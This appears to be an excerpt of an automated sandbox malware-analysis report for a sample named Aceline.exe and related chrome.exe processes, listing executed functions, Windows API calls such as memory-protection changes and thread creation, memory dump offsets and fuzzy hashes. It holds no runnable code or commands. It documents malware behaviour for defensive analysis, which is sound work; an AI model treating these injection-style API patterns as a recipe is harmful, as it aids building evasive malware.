Function 0000019A311213D5 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.1857762619.0000019A31120000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000019A31120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_19a31120000_Aceline.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c21c1ae9098034b9402a213a7ea1fa94702a77217400dbce2edf5114eb677cc
Instruction ID: bbfed29ab7ac245039ced86f56cbca592a26f960f5717b2160c17849f53fbf1b
Opcode Fuzzy Hash: 1c21c1ae9098034b9402a213a7ea1fa94702a77217400dbce2edf5114eb677cc
Instruction Fuzzy Hash: 48F01230A1051D8FEB84EBA8E5147EDB2F1FF08304F904418A418D32C1D379EA458785

Function 0000019A30F91DFE Relevance: 8.0, APIs: 5, Instructions: 473COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0000019A30F9235E

Memory Dump Source

Source File: 0000000A.00000003.1857654432.0000019A30F91000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000019A30F91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_19a30f91000_Aceline.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 4226fd8513bac0f8da9eed77c6c5a8615061cba39959969096f79ca68586aa10
Instruction ID: ab326f74ad0515595732101315c247f4145aeb8f77a02eccf4853c1428278a85
Opcode Fuzzy Hash: 4226fd8513bac0f8da9eed77c6c5a8615061cba39959969096f79ca68586aa10
Instruction Fuzzy Hash: 36E19D30964A5C8FEB98EF28D889BED73E1FF98310F904709E45AD31A5CB74D6858781

Function 0000019A30F91EFA Relevance: 8.0, APIs: 5, Instructions: 451COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0000019A30F9235E

Memory Dump Source

Source File: 0000000A.00000003.1857654432.0000019A30F91000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000019A30F91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_19a30f91000_Aceline.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 25e401162827694e6d1a8cd6a0cca7a0e5375e191b2c5aa9ad3c7b535b0401ef
Instruction ID: a9d2c0878fbf575d94b9a6f38717b134162ed60dc8f2d983214b15d9145b1057
Opcode Fuzzy Hash: 25e401162827694e6d1a8cd6a0cca7a0e5375e191b2c5aa9ad3c7b535b0401ef
Instruction Fuzzy Hash: 26E1AD3096895D8FEB98EF28D899BED73E1FF98310F904609E44AC31A5CB74D6858781

Function 0000019A30F91E5F Relevance: 7.9, APIs: 5, Instructions: 446fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000019A30F92078
WriteFile.KERNEL32 ref: 0000019A30F9209D
WriteFile.KERNEL32 ref: 0000019A30F920C4
CloseHandle.KERNEL32 ref: 0000019A30F920CD
Concurrency::cancel_current_task.LIBCPMT ref: 0000019A30F9235E

Memory Dump Source

Source File: 0000000A.00000003.1857654432.0000019A30F91000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000019A30F91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_19a30f91000_Aceline.jbxd

Similarity

API ID: File$Write$CloseConcurrency::cancel_current_taskCreateHandle
String ID:
API String ID: 2541771840-0
Opcode ID: b160aa068eeee85ebddb488d8d45d70166eec04ec37aa199bd12ecf8b695c6bf
Instruction ID: 907989e31fd1022db9bcf03dfc69ed6867171dfbef4ff86944490432fd6734b8
Opcode Fuzzy Hash: b160aa068eeee85ebddb488d8d45d70166eec04ec37aa199bd12ecf8b695c6bf
Instruction Fuzzy Hash: 5CE1AE30968D5D8FEB98EF28D899BED73E1FF98310F904609E44AC31A5CB74D6858781

Function 0000019A311214E1 Relevance: 1.6, APIs: 1, Instructions: 110threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(?,?,?,?,?,?,?,?,?,0000019A31120EBA), ref: 0000019A3112152D

Memory Dump Source

Source File: 0000000A.00000003.1857762619.0000019A31120000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000019A31120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_19a31120000_Aceline.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 5c5164177cbbf442cef5c792c97a07cd4cbdf0c392833b309f673ac09e160816
Instruction ID: f1c0add9afb6e3e0a84241ce8e5ced17cd8e3ff7dc0cde40cef778b6f641f186
Opcode Fuzzy Hash: 5c5164177cbbf442cef5c792c97a07cd4cbdf0c392833b309f673ac09e160816
Instruction Fuzzy Hash: 67419370A04A0D8FDB84EF5CD498BED77F1FB68301F54466AA419E3260D778EA85CB81

Non-executed Functions

Function 00007FF67E611868 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF67E611894
GetCurrentThreadId.KERNEL32 ref: 00007FF67E6118A2
GetCurrentProcessId.KERNEL32 ref: 00007FF67E6118AE
QueryPerformanceCounter.KERNEL32 ref: 00007FF67E6118BE

Memory Dump Source

Source File: 0000000A.00000000.1729951803.00007FF67E521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF67E520000, based on PE: true

Associated: 0000000A.00000000.1729920180.00007FF67E520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000000.1730269022.00007FF67E817000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000000.1730269022.00007FF67E825000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000000.1730269022.00007FF67E827000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000000.1730269022.00007FF67E838000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000000.1730269022.00007FF67E848000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000000.1730269022.00007FF67E86A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000000.1730269022.00007FF67E874000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000000.1730269022.00007FF67E87C000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000000.1730269022.00007FF67E895000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000000.1730269022.00007FF67E8A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000000.1730702595.00007FF67E95B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000000.1730728523.00007FF67E971000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000000.1730728523.00007FF67E9A3000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_0_7ff67e520000_Aceline.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 6a58a18cb34abd7f75c801496df18d4a80efba0d355ef748301d800564c93f27
Instruction ID: 6dc991366b12db09e29faf677702c243cc0acde9e5cd76039b6011bc31841693
Opcode Fuzzy Hash: 6a58a18cb34abd7f75c801496df18d4a80efba0d355ef748301d800564c93f27
Instruction Fuzzy Hash: 04111C23B24B058AEB108BA0E8542B933A4F729758F441A35EA6D867A4EF7CD5998340

Analysis Process: Aceline.exePID: 8164, Parent PID: 3084COMMON

Execution Graph

Execution Coverage:	14.4%
Dynamic/Decrypted Code Coverage:	95.9%
Signature Coverage:	0%
Total number of Nodes:	97
Total number of Limit Nodes:	5

Executed Functions

Function 0000026B2C95FAC9 Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 427
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL ref: 0000026B2C95FF7F
NtProtectVirtualMemory.NTDLL ref: 0000026B2C96006D

Strings

0, xrefs: 0000026B2C95FE56
0, xrefs: 0000026B2C95FE36
@, xrefs: 0000026B2C95FE98

Memory Dump Source

Source File: 0000000D.00000002.2110308756.0000026B2C95D000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000026B2C95D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_26b2c95d000_Aceline.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID: 0$0$@
API String ID: 2706961497-3943445076
Opcode ID: 8feac8e1868f778f44d0570628b2ecde5fd918c5f72d399819fab635684b5306
Instruction ID: e89388c757aacaec0433651f47cc4019829f56b812a337f8af09765a69804b53
Opcode Fuzzy Hash: 8feac8e1868f778f44d0570628b2ecde5fd918c5f72d399819fab635684b5306
Instruction Fuzzy Hash: 7102DA30218B88CFE7A6DB18C49CBAAB7E0FB99355F54496DF489C7291C775D884CB02

Function 0000026B2CAB1349 Relevance: 6.8, APIs: 4, Instructions: 765fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNELBASE ref: 0000026B2CAB1917
Concurrency::cancel_current_task.LIBCPMT ref: 0000026B2CAB234C
Concurrency::cancel_current_task.LIBCPMT ref: 0000026B2CAB235E

Memory Dump Source

Source File: 0000000D.00000003.2081859520.0000026B2CAB1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026B2CAB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_26b2cab1000_Aceline.jbxd

Similarity

API ID: Concurrency::cancel_current_task$CopyFile
String ID:
API String ID: 1481836693-0
Opcode ID: 2d57fa39a3ae15f04c34a9eac639079755a23ae2a7d61bbafd970c6ade0d11e0
Instruction ID: 3858b4cbb763570a541d825524ad91a8ab7a8c6b33cbcf0e6957f9bd59633322
Opcode Fuzzy Hash: 2d57fa39a3ae15f04c34a9eac639079755a23ae2a7d61bbafd970c6ade0d11e0
Instruction Fuzzy Hash: 6932B130924E4C8FEB99EF28CC587AD73E1FBAA311F54471AE946D31A9DB3595C08780

Function 0000026B2C9600B9 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 351
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL ref: 0000026B2C9604E0

Strings

0, xrefs: 0000026B2C96042C
0, xrefs: 0000026B2C96040C

Memory Dump Source

Source File: 0000000D.00000002.2110308756.0000026B2C95D000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000026B2C95D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_26b2c95d000_Aceline.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID: 0$0
API String ID: 2706961497-203156872
Opcode ID: ef7d077ddb28ee1f6607ef37cc93cd10639417aaa93914054baa3b20be7d9952
Instruction ID: a0de1f65f48e486dbfe174cf17481c0846d747198c4d4729d7d19c50c7a32a8e
Opcode Fuzzy Hash: ef7d077ddb28ee1f6607ef37cc93cd10639417aaa93914054baa3b20be7d9952
Instruction Fuzzy Hash: DEE15D30218B89CFD7E5DB18C498BAAB7E0FB98305F50586DE489C76E2D735D884DB42

Function 0000026B2C95DEB9 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtOpenSection.NTDLL ref: 0000026B2C95E052

Strings

0, xrefs: 0000026B2C95DFCC
@, xrefs: 0000026B2C95DFDD

Memory Dump Source

Source File: 0000000D.00000002.2110308756.0000026B2C95D000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000026B2C95D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_26b2c95d000_Aceline.jbxd

Similarity

API ID: OpenSection
String ID: 0$@
API String ID: 1950954290-1545510068
Opcode ID: a813d08369a5c7ae039bae29eaef8afbebc23022539c28eb87942e74ec46d36b
Instruction ID: 5bfee0a112d57b08612ba31dbc55f28bb9560e3e754629d60a15dc1511d6afa9
Opcode Fuzzy Hash: a813d08369a5c7ae039bae29eaef8afbebc23022539c28eb87942e74ec46d36b
Instruction Fuzzy Hash: 0251C674118B88CFD7A5DF28C49CBAAB7E1FB98349F50096DE48CC7292C7759880CB02

Function 0000026B2C9704B9 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 472
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetSecurityObject.NTDLL ref: 0000026B2C970A7C

Strings

#, xrefs: 0000026B2C97064B

Memory Dump Source

Source File: 0000000D.00000002.2110308756.0000026B2C970000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000026B2C970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_26b2c970000_Aceline.jbxd

Similarity

API ID: ObjectSecurity
String ID: #
API String ID: 2240786066-1885708031
Opcode ID: bb54b257dd3ae6476c2eef3ddd9ac047e27d34818cc4a3740cb8ca1d199b2dc7
Instruction ID: 1421886a35943d1c148bbf5997c6cfcdc315c635c44dbdf5836b30a8037eb7d8
Opcode Fuzzy Hash: bb54b257dd3ae6476c2eef3ddd9ac047e27d34818cc4a3740cb8ca1d199b2dc7
Instruction Fuzzy Hash: 75121C70219B88CFE7A5DF18C498FAAB7E1FB98305F90096DA48DC7291D775D884CB02

Function 0000026B2C95F329 Relevance: 3.6, APIs: 2, Instructions: 561
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL ref: 0000026B2C95F5D9
NtProtectVirtualMemory.NTDLL ref: 0000026B2C95FA82

Memory Dump Source

Source File: 0000000D.00000002.2110308756.0000026B2C95D000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000026B2C95D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_26b2c95d000_Aceline.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 5f20ac17b1b1f193389ce01c03b412ab761afd8de7e38064a1edeea2562a72ab
Instruction ID: d3d7b64bdce39b94be27c9326e078b264888815cc808d03c2150ad00157fa837
Opcode Fuzzy Hash: 5f20ac17b1b1f193389ce01c03b412ab761afd8de7e38064a1edeea2562a72ab
Instruction Fuzzy Hash: 5232B770218B89CFD7A6DF1CC498BAAB7E1FBA8355F50086DB489C7291D775D884CB02

Function 0000026B2CAC0F7A Relevance: 3.2, APIs: 2, Instructions: 244nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 0000026B2CAC1057
NtFreeVirtualMemory.NTDLL ref: 0000026B2CAC11F7

Memory Dump Source

Source File: 0000000D.00000003.2082337208.0000026B2CAC0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026B2CAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_26b2cac0000_Aceline.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 0f8a1ef69ca864fbc767e77ec1c594cbee80c13f95cee31c7c85972fbcf3a514
Instruction ID: 154dc9a9d4e1c4244f8aa62f8ce74e4d815cb6ba9c00da202d06e5cb4e9f801a
Opcode Fuzzy Hash: 0f8a1ef69ca864fbc767e77ec1c594cbee80c13f95cee31c7c85972fbcf3a514
Instruction Fuzzy Hash: CC81DD30B1490DCFEF85EB5CC869BED77E1EB69301F504229A905E32D6DB75DA809780

Function 0000026B2C95D7E9 Relevance: 1.7, APIs: 1, Instructions: 205
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemoryEx.NTDLL ref: 0000026B2C95D9E9

Memory Dump Source

Source File: 0000000D.00000002.2110308756.0000026B2C95D000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000026B2C95D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_26b2c95d000_Aceline.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: cdbcda34bd06f9268593dba1bd87b1ab033fb0d4c94b1bbcd91ad9d8dca19e2b
Instruction ID: 881a6fa7c92bd27eda861d7a6652b16716b80210311ff3035cccca613018e7fb
Opcode Fuzzy Hash: cdbcda34bd06f9268593dba1bd87b1ab033fb0d4c94b1bbcd91ad9d8dca19e2b
Instruction Fuzzy Hash: 6891B474218B888FD7A1DF28C49CBAAB7E1FB98345F44086DE58DC72A2C771D840CB02

Function 0000026B2C95F019 Relevance: 1.7, APIs: 1, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL ref: 0000026B2C95F1C4

Memory Dump Source

Source File: 0000000D.00000002.2110308756.0000026B2C95D000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000026B2C95D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_26b2c95d000_Aceline.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: e6fc57cbed260e2e9b8e3d59ac5c24773852a0e6da65cbd5c2b50377703bf6a9
Instruction ID: 3f3b1a424c609d869cb29cedd152f1813549b83a97249ec463a3ec296ee70539
Opcode Fuzzy Hash: e6fc57cbed260e2e9b8e3d59ac5c24773852a0e6da65cbd5c2b50377703bf6a9
Instruction Fuzzy Hash: 57511634628B88CFD795DF2CC499B6AB7E1FB98305F90096DB589C72A1C735D881CB02

Function 0000026B2C95D4D9 Relevance: 1.6, APIs: 1, Instructions: 114
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL ref: 0000026B2C95D60C

Memory Dump Source

Source File: 0000000D.00000002.2110308756.0000026B2C95D000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000026B2C95D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_26b2c95d000_Aceline.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 9efa1cf13daa1253fc78974ff4e73ae49b31f1e7f572ecd898a08c5326c34349
Instruction ID: 77d07a273c3d7b81703e3243b31ac3d37dbcf8dec098c8ec141d12375a2169ea
Opcode Fuzzy Hash: 9efa1cf13daa1253fc78974ff4e73ae49b31f1e7f572ecd898a08c5326c34349
Instruction Fuzzy Hash: C041C734618B888FD7A1EF28C499B6AB7E1FB98305F510969F599C7261D731D841CF02

Function 0000026B2C95DB19 Relevance: 1.6, APIs: 1, Instructions: 109
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtFreeVirtualMemory.NTDLL ref: 0000026B2C95DC42

Memory Dump Source

Source File: 0000000D.00000002.2110308756.0000026B2C95D000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000026B2C95D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_26b2c95d000_Aceline.jbxd

Similarity

API ID: FreeMemoryVirtual
String ID:
API String ID: 3963845541-0
Opcode ID: b59f5d3d4aea01810458e50923b9f949388746ed6bafeaa598c24131454ef188
Instruction ID: 1fdbc5cbd9e67dab0faefe7193984c04f610353fffa0d2011ef9423e950e48e3
Opcode Fuzzy Hash: b59f5d3d4aea01810458e50923b9f949388746ed6bafeaa598c24131454ef188
Instruction Fuzzy Hash: 3641C674218B888FD785DF58C4A8BAAB7E1FB98345F8509ADF48DC7251D7B5D840CB02

Function 0000026B2CAC14E1 Relevance: 1.6, APIs: 1, Instructions: 110threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(?,?,?,?,?,?,?,?,?,0000026B2CAC0EBA), ref: 0000026B2CAC152D

Memory Dump Source

Source File: 0000000D.00000003.2082337208.0000026B2CAC0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026B2CAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_26b2cac0000_Aceline.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 89c1dd6d1e610734f159d3a66cdf5cc7effbebdae7f880bfb0f695a095db4baa
Instruction ID: ced46766c531f4a88f01d96a875d0ecd968d94105dbf8882194b1968377986d5
Opcode Fuzzy Hash: 89c1dd6d1e610734f159d3a66cdf5cc7effbebdae7f880bfb0f695a095db4baa
Instruction Fuzzy Hash: 0D419270A14A0D8FEB85EF5CC898BAE77F1FB68301F504666A419E3265D774DA80CB81

Function 0000026B2C95BF23 Relevance: 1.5, APIs: 1, Instructions: 28
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE ref: 0000026B2C95BF6E

Memory Dump Source

Source File: 0000000D.00000002.2110308756.0000026B2C95B000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000026B2C95B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_26b2c95b000_Aceline.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4b509f8b1afadeb2d8dd6b7ad133da68446caf6d87cb8129085ebdbe65a32e90
Instruction ID: 35dca7684c33f14f4e10b1eb89a5f68377d5ec10972d6a3b6c7c1eef8acf9620
Opcode Fuzzy Hash: 4b509f8b1afadeb2d8dd6b7ad133da68446caf6d87cb8129085ebdbe65a32e90
Instruction Fuzzy Hash: 05F0B27050CA448FDBA5DF2CC498BA97BE1FBA8345F15086DA08DD72A2C7319981CB01

Function 00007FF7B5401DF2 Relevance: .3, Instructions: 286
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.2120884581.00007FF7B5400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7b5400000_Aceline.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bbe63a56aa9894d8579fd9f8eca4b636f08dacdf264fa30d89dcc69cbb908dd
Instruction ID: 66e17e2f70c733e4ec3e3f4d60796fd63e6637631221d794932e3ec64bf81730
Opcode Fuzzy Hash: 9bbe63a56aa9894d8579fd9f8eca4b636f08dacdf264fa30d89dcc69cbb908dd
Instruction Fuzzy Hash: 78B11870E0D6468FEB19DB68C8516ADF7B1EFA2340F5801BED50A9B2DACF385941CB11

Function 00007FF7B5402E45 Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.2120884581.00007FF7B5400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7b5400000_Aceline.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9652d0b65d006f718a121c30fa035f1ecf88c22b8720cf56ba353f8992664d99
Instruction ID: c0eefc6e13a2fd8be11a8de8ce517aa1d725dbed887088d602c51199120b1dc1
Opcode Fuzzy Hash: 9652d0b65d006f718a121c30fa035f1ecf88c22b8720cf56ba353f8992664d99
Instruction Fuzzy Hash: 3131D170E192099FDB28CF68D855AAEBB71FF52300F1801BED44A673D6CB385941CB01

Non-executed Functions

Function 00007FF71B771868 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF71B771894
GetCurrentThreadId.KERNEL32 ref: 00007FF71B7718A2
GetCurrentProcessId.KERNEL32 ref: 00007FF71B7718AE
QueryPerformanceCounter.KERNEL32 ref: 00007FF71B7718BE

Memory Dump Source

Source File: 0000000D.00000000.1974040513.00007FF71B681000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF71B680000, based on PE: true

Associated: 0000000D.00000000.1973271004.00007FF71B680000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000000.1975459348.00007FF71B977000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000000.1975459348.00007FF71B985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000000.1975459348.00007FF71B987000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000000.1975459348.00007FF71B998000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000000.1975459348.00007FF71B9A8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000000.1975459348.00007FF71B9CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000000.1975459348.00007FF71B9D4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000000.1975459348.00007FF71B9DC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000000.1975459348.00007FF71B9F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000000.1975459348.00007FF71BA03000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000000.1976335391.00007FF71BABB000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000000.1976400889.00007FF71BAD1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000000.1976400889.00007FF71BB03000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_0_7ff71b680000_Aceline.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 6a58a18cb34abd7f75c801496df18d4a80efba0d355ef748301d800564c93f27
Instruction ID: 4617bbd77663c0c45dc1a93598a14f82acb425092f26ce4fa0a3c511a30ddb1c
Opcode Fuzzy Hash: 6a58a18cb34abd7f75c801496df18d4a80efba0d355ef748301d800564c93f27
Instruction Fuzzy Hash: EA112122B14F058AEB10DF64E8542B873A4F719768F841E31EA6D86774DF7CD1598350

Analysis Process: chrome.exePID: 7744, Parent PID: 4216COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	26.3%
Total number of Nodes:	19
Total number of Limit Nodes:	1

Executed Functions

Function 00007FF7B53F70DA Relevance: 4.5, APIs: 1, Strings: 1, Instructions: 975
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jNwV, xrefs: 00007FF7B53F7A20

Memory Dump Source

Source File: 0000000E.00000002.2066806864.00007FF7B53F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B53F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b53f0000_chrome.jbxd

Similarity

API ID:
String ID: jNwV
API String ID: 0-3987567425
Opcode ID: 8703c3d11c97b9700972e71356c0ed7bcf3afb9cc53e919f1a0df910f9397225
Instruction ID: 28c54798c40699215450583d15956429da74a626fb63e7994f1c994e80beeb7e
Opcode Fuzzy Hash: 8703c3d11c97b9700972e71356c0ed7bcf3afb9cc53e919f1a0df910f9397225
Instruction Fuzzy Hash: 8D62683091D7894FDB49EB6CC845AA9BBE0EF67310F5441FEC049CB2ABDA786806C751

Function 00007FF7B53F7C21 Relevance: 1.6, APIs: 1, Instructions: 140
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.COMBASE ref: 00007FF7B53F7D0E

Memory Dump Source

Source File: 0000000E.00000002.2066806864.00007FF7B53F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B53F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b53f0000_chrome.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 8b76743a2d1fdc524fe4f93f1023795df1f9ec40af7cb96254a76e565b16ab41
Instruction ID: cba300152036cd915fc891ee5fecdf076440916279f73c7ce8aebffc6bfc8041
Opcode Fuzzy Hash: 8b76743a2d1fdc524fe4f93f1023795df1f9ec40af7cb96254a76e565b16ab41
Instruction Fuzzy Hash: 9D41B23091CB488FDB58DB5CD8457E97BF1EB9A321F0042AFD049D3296CB716805CB82

Analysis Process: chrome.exePID: 3976, Parent PID: 4216COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	4
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF7B53C0DC7 Relevance: 8.3, Strings: 3, Instructions: 4546COMMON

Download Yara Rule

Strings

,N1o, xrefs: 00007FF7B53C0F3E
YZF|, xrefs: 00007FF7B53C1324
3UH, xrefs: 00007FF7B53C3297

Memory Dump Source

Source File: 00000010.00000002.2102552968.00007FF7B53C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B53C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7b53c0000_chrome.jbxd

Similarity

API ID:
String ID: ,N1o$3UH$YZF|
API String ID: 0-3321442713
Opcode ID: 57eeb45336267aed06105eb843cf2fe78143ff3b71e53687d9f4df6e00557d8c
Instruction ID: 19d42a77064c813071cd00543e56359695400de68275c976edc5199ab3a04797
Opcode Fuzzy Hash: 57eeb45336267aed06105eb843cf2fe78143ff3b71e53687d9f4df6e00557d8c
Instruction Fuzzy Hash: 1D93B170D096598FDB95DB18C884BA9BBF1FF6A304F5481EAC00DEB35ACA34AD41CB51

Function 00007FF7B53C42F3 Relevance: 2.8, Strings: 1, Instructions: 1566COMMON

Download Yara Rule

Strings

xL\H, xrefs: 00007FF7B53C45CE

